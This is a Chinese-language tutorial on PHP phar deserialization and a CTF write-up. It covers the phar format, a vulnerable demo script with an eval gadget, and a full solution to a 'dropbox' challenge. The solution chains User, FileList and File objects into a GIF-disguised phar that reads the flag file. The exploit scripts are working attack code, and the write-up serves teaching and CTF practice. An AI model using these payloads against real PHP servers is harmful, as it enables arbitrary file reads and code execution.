什么是phar
一个PHP程序往往是由多个文件组成的,如果能够集中为一个文件来分发和运行是很方便的。phar便应运而生。大概跟java的jar文件是差不多类似的。但是php的phar文件是可以由php本身进行处理的,不需要额外的工具来创建、提取。
phar文件的结构
stub
phar 文件标识，格式为 xxx<?php xxx; __HALT_COMPILER();?>；
manifest
压缩文件的属性等信息，以序列化存储(我们可以注入反序列化字符串)
contents
压缩文件的内容；
signature
签名，放在文件末尾；
关键点
一是文件标识必须以__HALT_COMPILER();?>结尾否则PHP扩展就无法识别，但是前面的内容没有限制，所以我们可以随意在前面添加文件头，例如GIF89a来绕过一些上传的检测。二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化.这样的文件操作函数有很多。
影响函数
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
Phar文件的创建
首先修改php.ini的设置
将phar.readonly前面的分号去掉,并且修改为off,默认为了安全应该为on
一个小测试
vuln.php
<?php
$a=$_GET['a'];
class Mikasa
{
public $data='whoami';
function __destruct()
{
eval($this->data);
}
}
file_exists($a);
我们生成phar文件的php脚本exp.php
<?php
class Mikasa
{
public $data='whoami';
function __destruct()
{
eval($this->data);
}
}
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$QAQ=new Mikasa();
$QAQ->data="phpinfo();";
$phar->setMetadata($QAQ);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
我们把生成的phar.phar文件修改为phar.gif
假设生成上去后
之后访问vuln.php?a=phar://phar.gif

大约就是这样的利用方式,不过感觉phar.readonly默认是On就很难受了。
根据以上可以知道利用条件如下
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控，且: / phar等特殊字符没有被过滤。
CTF例题
题目链接
这道题目就是考的PHP的phar的反序列。
首先先注册账号、登录。

随便上传一个文件发现只能上传的图片,随意找到了一个上传过去.

在下载和删除的地方抓包

发现可以跨目录读取文件.

获取到的文件如下
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();//
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);//获取所有的文件名
$key = array_search(".", $filenames);
unset($filenames[$key]);//取出. 和 ..
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();//
$file->open($path . $filename);
array_push($this->files, $file);//存储类
$this->results[$file->name()] = array();//设置的是二维数组
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();//利用的是
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);//
}
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">登录</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
<p class="text-muted">© 2018-2019</p>
</form>
<div class="top" id="toast-container"></div>
</body>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
register.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">注册</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 mb-3 text-muted">© 2018-2019</p>
</form>
</body>
<div class="top" id="toast-container"></div>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
总的来说突破口还是在class.php里面,正好delete.php和download.php对文件名都没有进行过滤,我们可以构造phar://xxx.phar等的字符串,然后就是关于看如何构造phar文件了。
分析过程
首先在delete.php中

实例化file类并且将我们的传入的文件名用调入open方法中,我们跟进看看

file_exists()函数再加上我们刚才文件名没有过滤导致产生phar序列化。接下来看看如何构造php反序列化.
File类的的close方法存在文件读取函数

这应该是一个突破点,并且User类的__destruct函数会调用close()方法

一开始是想构造
<?php
$a=new User();
$a->db=new File();
确实是可以调用文件读取函数但是没用,因为就算返回了也不会有任何输出,相反的只有FileList类中才会有输出.

即输出关于文件的属性。
接下来就开始思考怎么利用FileList类
注意到FileList中有__call方法
我们可以将User里面的db改为FileList的对象,然后__destruct的时候调用close()，就会由__call来执行。
我们看一下__call

调用$file->close()
并且将结果全部保存在result中。
那么我们将$file定义为File类的对象即可.
最终的exp为
<?php
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$file=new File();
$file->filename="/flag.txt";
$this->files=array($file);
}
}
class File
{
public $filename;
}
$Mikasa=new User();
$Mikasa->db=new FileList();
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$phar->setMetadata($Mikasa);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
改后缀名为xxx.gif,在删除的地方抓包,修改为filename=phar://xxx.gif,回显中既有flag.
### 后记
这里说明一下为什么不能再下载的时候用,跟这两行代码有关.

只允许对当前目录和/etc和/tmp进行操作
不然的话直接就去读取flag.txt哪里用的这么麻烦==
